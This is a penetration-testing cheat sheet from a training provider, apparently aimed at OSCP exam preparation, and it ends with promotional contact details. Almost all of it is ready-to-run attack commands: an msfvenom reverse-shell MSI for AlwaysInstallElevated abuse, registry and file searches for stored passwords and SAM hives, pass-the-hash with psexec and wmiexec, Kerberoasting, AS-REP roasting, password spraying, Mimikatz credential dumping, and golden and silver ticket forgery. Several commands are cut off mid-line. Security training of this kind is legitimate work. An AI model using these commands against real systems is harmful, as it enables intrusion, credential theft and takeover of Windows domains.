reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v  
ImagePath /t REG\_EXPAND\_SZ /d C:

#ImagePath is the variable here

net start <service>

CYBER PUBLIC SCHOOL

## DLL Hijacking

### Autorun

#For checking, it will display some information with file-  
location

Reg query

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

regquery

HKLM\Software\Microsoft\Windows\CurrentVersion\Run



#Check the location is writable

```
accesschk.exe \accepteula -wvu "<path>" #returns  
FILE_ALL_ACCESS
```

#Replace the executable with the reverseshell and we need to wait till Admin logins, then

## AlwaysInstallElevated

#For checking, it should return 1 or Ox1

reg query

```
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v  
AlwaysInstallElevated
```

reg query

```
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v  
AlwaysInstallElevated
```

CYBER PUBLIC SCHOOL

#Creating a reverseshell in msi format

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP>  
LPORT=<port> --platform windows -f m
```

#Execute and get shell

```
msiexec /quiet /qn /i reverse.msi
```



## Schedules Tasks

schtasks /query /fo LIST /v #Displays list of scheduled tasks,  
Pickup any interesting one  
#Permission check - Writable means exploitable!  
icalcs "path"  
#Wait till the scheduled task is executed, then we'll get a shell

## Startup Apps

C:\ProgramData\Microsoft\Windows\Start  
Menu\Programs\StartUp #Startup applications can be  
#Check writable permissions and transfer  
#The only catch here is the system needs to be restarted

## Insecure GUI apps

#Check the applications that are running from "TaskManager"  
and obtain list of applicatio  
#Open that particular application, using "open" feature enter  
the following  
file:///c:/windows/system32/cmd.exe



# Passwords

## Sensitive files

```
%SYSTEMROOT%\repair\SAM  
%SYSTEMROOT%\System32\config\RegBack\SAM  
%SYSTEMROOT%\System32\config\SAM  
%SYSTEMROOT%\repair\system  
%SYSTEMROOT%\System32\config\SYSTEM  
%SYSTEMROOT%\System32\config\RegBack\system
```

```
findstr /si password *.txt  
findstr /si password *.xml  
findstr /si password *.ini  
Findstr /si password *.config  
findstr /si pass/pwd *.ini
```

```
dir /s *pass* == *cred* == *vnc* == *.config*
```

in all files

```
findstr /spin "password" *.*  
findstr /spin "password" *.*
```



## Config files

```
c:\sysprep.inf
c:\sysprep\sysprep.xml
c:\unattend.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml

dir /b /s unattend.xml
dir /b /s web.config
dir /b /s sysprep.inf
dir /b /s sysprep.xml
dir /b /s *pass*

dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
```

CYBER PUBLIC SCHOOL

## Registry

```
reg query HKLM /f password /t REG_SZ /s
reg query "HKLM\Software\Microsoft\Windows
NT\CurrentVersion\winlogon"
```

### VNC



```
reg query "HKCU\Software\ORL\WinVNC3\Password"  
reg query "HKCU\Software\TightVNC\Server"
```

### Windows autologin

```
reg query "HKLM\SOFTWARE\Microsoft\Windows  
NT\Currentversion\Winlogon"  
reg query "HKLM\SOFTWARE\Microsoft\Windows  
NT\Currentversion\Winlogon" 2>nul | findstr "D"
```

### SNMP Paramters

```
reg query  
"HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
```

### Putty

```
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
```

### Search for password in registry

```
reg query HKLM /f password /t REG_SZ /s  
reg query HKCU /f password /t REG_SZ /s
```

## RunAs – Savedcreds

cmdkey /list #Displays stored credentials, looks for any  
optential users

#Transfer the reverseshell

```
runas /savecred /user:admin C:\Temp\reverse.exe
```





## Pass the Hash

#If hashes are obtained through some means then use psexec, smbexec and obtain the shell a pth-winexe -U JEEVES/administrator%aad3b43XXXXXXXXXX35b51404ee:e0fb1fb857XXXXXXXXXX238cbe81fe

## Linux Privilege Escalation

### TTY Shell

```
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
echo 'os.system("/bin/bash")'
/bin/sh -i
/bin/bash -i
perl -e 'exec "/bin/sh";'
```

### Basic

```
find / -writable -type d 2>/dev/null
dpkg -l #Installed applications on debian system
cat /etc/fstab #Listing mounted drives
lsblk #Listing all available drives
lsmod #Listing loaded drivers
```



## Automated Scripts

linPEAS.sh  
LinEnum.sh  
linuxprivchecker.py  
unix-privesc-check  
Mestaploit: multi/recon/local\_exploit\_suggester

## Sensitive Information

cat .bashrc  
env #checking environment variables  
watch -n 1 "ps -aux | grep pass" #Harvesting active processes for credentials  
#Process related information can also be obtained from PSPY

## Sudo/SUID/Capabilities

💡 GTFOBins:  
[<https://gtfobins.github.io/>](<https://gtfobins.github.io/>)  
sudo -l  
find / -perm -u=s -type f 2>/dev/null  
getcap -r / 2>/dev/null



## Cron Jobs

#Detecting Cronjobs

```
cat /etc/crontab
```

```
crontab -l
```

pspy #handy tool to livemonitor stuff happening in Linux

## NFS

##Mountable shares

```
cat /etc/exports #On target
```

```
showmount -e <target IP> #On attacker
```

###Check for "no\_root\_squash" in the output of shares

```
mount -o rw <targetIP>:<share-location> <directory path we created>
```

#Now create a binary there

```
chmod +x <binary>
```

## Post Exploitation

This is more windows specific as exam specific.

💡 Run WinPEAS.exe - This may give us some more detailed information as now we're a privileged user and we can open several files, gives some edge!



## Sensitive Information

### Powershell History

```
type  
%userprofile%\AppData\Roaming\Microsoft\Windows\Power  
Shell\PSReadline\ConsoleHost_hi
```

#Example

```
type  
C:\Users\sathvik\AppData\Roaming\Microsoft\Windows\Pow  
erShell\PSReadline\ConsoleHost
```

### Searching for passwords

```
dir .s *pass* == *.config  
findstr /si password *.xml *.ini *.txt
```

### Searching in Registry for Passwords

```
reg query HKLM /f password /t REG_SZ /s  
reg query HKCU /f password /t REG_SZ /s
```

💡 Always check documents folders, i may contain some juicy files



## KDBX Files

#These are KeyPassX password stored files

```
cmd> dir /s /b *.kdbx
```

```
Ps> Get-ChildItem -Recurse -Filter *.kdbx
```

#Cracking

```
keepass2john Database.kdbx > keepasshash
```

```
john --wordlist=/home/sathvik/Wordlists/rockyou.txt
```

```
keepasshash
```

## Dumping Hashes

1. . Mimikatz
2. . If this is a domain joined machine, then follow Post-exp steps for AD

# Active Directory Pentesting

## Enumeration

- To check local administrators in domain joined machine  

```
net localgroup Administrators
```



## Powerview

Import-Module .\PowerView.ps1 #loading module to powershell, if it gives error then chang  
Get-NetDomain #basic information about the domain  
Get-NetUser #list of all users in the domain  
# The above command's outputs can be filtered using "select" command. For example, "Get-N  
Get-NetGroup # enumerate domain groups  
Get-NetGroup "group name" # information from specific group  
Get-NetComputer # enumerate the computer objects in the domain  
  
Find-LocalAdminAccess # scans the network in an attempt to determine if our current user  
Get-NetSession -ComputerName files04 -Verbose #Checking logged on users with Get-NetSessi  
Get-NetUser -SPN | select samaccountname,serviceprincipalname # Listing SPN accounts in d  
Get-ObjectAcl -Identity <user> # enumerates ACE(access control entities), lists SID(secur  
Convert-SidToName <sid/objsid> # converting SID/ObjSID to name



# Checking for "GenericAll" right for a specific group, after obtaining they can be conveyed

```
Get-ObjectAcl -Identity "group-name" | ?  
{$_ .ActiveDirectoryRights -eq "GenericAll"} | se
```

Find-DomainShare #find the shares in the domain

Get-DomainUser -PreauthNotRequired -verbose # identifying AS-REP roasting accounts

```
Get-NetUser -SPN | select serviceprincipalname  
#Kerberoasting accounts
```

## Bloodhound

- Collection methods - database

# Sharphound - transfer sharphound.ps1 into the compromised machine

```
Import-Module .\Sharphound.ps1
```

```
Invoke-BloodHound -CollectionMethod All -OutputDirectory  
<location> -OutputPrefix "name"
```

# Bloodhound-Python

```
bloodhound-python -u 'uname' -p 'pass' -ns <rhost> -d  
<domain-name> -c all #output will be
```



- Running Bloodhound

```
sudo neo4j console  
# then upload the .json files obtained
```

## PsLoggedon

# To see user logons at remote system of a domain(external tool)

```
.\PsLoggedon.exe \\<computername>
```

## Attacking Active Directory Authentication

💡 Make sure you obtain all the relevant credentials from compromised systems, we cannot survive if we don't have proper creds.

## Password Sprayin

# Crackmapexec - check if the output shows 'Pwned!'

```
crackmapexec smb <IP or subnet> -u users.txt -p 'pass' -d  
<domain> --continue-on-success
```

# Kerbrute

```
kerbrute passwordspray -d corp.com .\usernames.txt "pass"
```





## AS-REP Roasting

```
impacket-GetNPUsers -dc-ip <DC-IP><domain>/<user>:<pass>  
-request #this gives us the has.\Rubeus.exe asreproast  
/nowrap #dumping from compromised windows host
```

```
hashcat -m 18200 hashes.txt wordlist.txt --force # cracking  
hashes
```

## Kerberoasting

```
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast #dumping  
from compromised windows host
```

```
impacket-GetUserSPNs -dc-ip <DC-IP>  
<domain>/<user>:<pass> -request #from kali machine
```

```
hashcat -m 13100 hashes.txt wordlist.txt --force # cracking  
hashes
```

## Silver Tickets

- Obtaining hash of an SPN user using Mimikatz

```
privilege::debug
```

```
sekurlsa::logonpasswords #obtain NTLM hash of the SPN  
account here
```



- Obtaining Domain SID

```
ps> whoami /user
```

# this gives SID of the user that we're logged in as. If the user SID is "S-1-5-21-198737"

- Forging silver ticket Ft **Mimikatz**

```
kerberos::golden /sid:<domainSID> /domain:<domain-name>  
/ptt /target:<targetsyste.domain  
exit
```

# we can check the tickets by,

```
ps> klist
```

- Accessing service

```
ps> iwr -UseDefaultCredentials
```

```
<servicename>://<computername>
```

CYBER PUBLIC SCHOOL

## Secretsdump

```
secretsdump.py <domain>/<user>:<password>@<IP>
```



# Lateral Movement in Active Directory

**psexec - smbexec - wmiexec - atexec**

- Here we can pass the credentials or even hash, depending on what we have

psexec.py <domain>/<user>:<password1>@<IP>

# the user should have write access to Admin share then only we can get session

psexec.py -hashes

aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4  
b6c473d68ae76 <doma

#we passed full hash here

smbexec.py <domain>/<user>:<password1>@<IP>

smbexec.py -hashes

aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4  
b6c473d68ae76 <dom

#we passed full hash here

wmiexec.py <domain>/<user>:<password1>@<IP>

wmiexec.py -hashes

aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4  
b6c473d68ae76 <dom

#we passed full hash here



```
atexec.py -hashes  
aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4  
b6c473d68ae76 <doma  
#we passed full hash here
```

## winrs

```
winrs -r:<computername> -u:<user> -p:<password>  
"command"  
# run this and check whether the user has access on the  
machine, if you have access then  
  
# run this on windows session
```

## crackmapexec

- If stuck make use of Wiki

```
crackmapexec {smb/winrm/mssql/ldap/ftp/ssh/rdp} #supported services  
crackmapexec smb <Rhost/range> -u user.txt -p password.txt --continue-on-success # Brutef  
crackmapexec smb <Rhost/range> -u user.txt -p password.txt --continue-on-success | grep '  
crackmapexec smb <Rhost/range> -u user.txt -p 'password' --continue-on-success #Password  
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --shares #lists all shares, provid  
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --disks  
crackmapexec smb <DC-IP> -u 'user' -p 'password' --users #we need to provide DC ip  
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --sessions #active logon sessions  
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --pass-pol #dumps password policy  
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --sam #SAM hashes  
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --lsa #dumping lsa secrets  
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --ntds #dumps NTDS.dit file  
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --groups {groupname} #we can also  
crackmapexec smb <Rhost/range> -u 'user' -p 'password' -x 'command' #For executing  
comman
```



```
#crackmapexec modules
crackmapexec smb -L #listing modules
crackmapexec smb -M mimikatz --options #shows the required options for the module
crackmapexec smb <Rhost> -u 'user' -p 'password' -M mimikatz #runs default command
crackmapexec smb <Rhost> -u 'user' -p 'password' -M mimikatz -o
COMMAND='privilege::debug
```

## Pass the ticket

```
.\mimikatz.exe
sekurlsa::tickets /export
kerberos::ptt [0;76126]-2-0-40e10000-Administrator@krbtgt-
<RHOST>.LOCAL.kirbi
klist
dir \\<RHOST>\admin$
```

## Golden Ticket

```
.\mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt
kerberos::golden /user:Administrator /domain:controller.local
/sid:S-1-5-21-849420856-235
misc::cmd
klist
dir \\<RHOST>\admin$
```



# Contacts us

<https://cyberpublicschool.com/>

<https://www.instagram.com/cyberpublicschool/>

**Phone no.: +91 9631750498 India**  
**+61 424866396 Australia**



## Our Successful Oscp Student.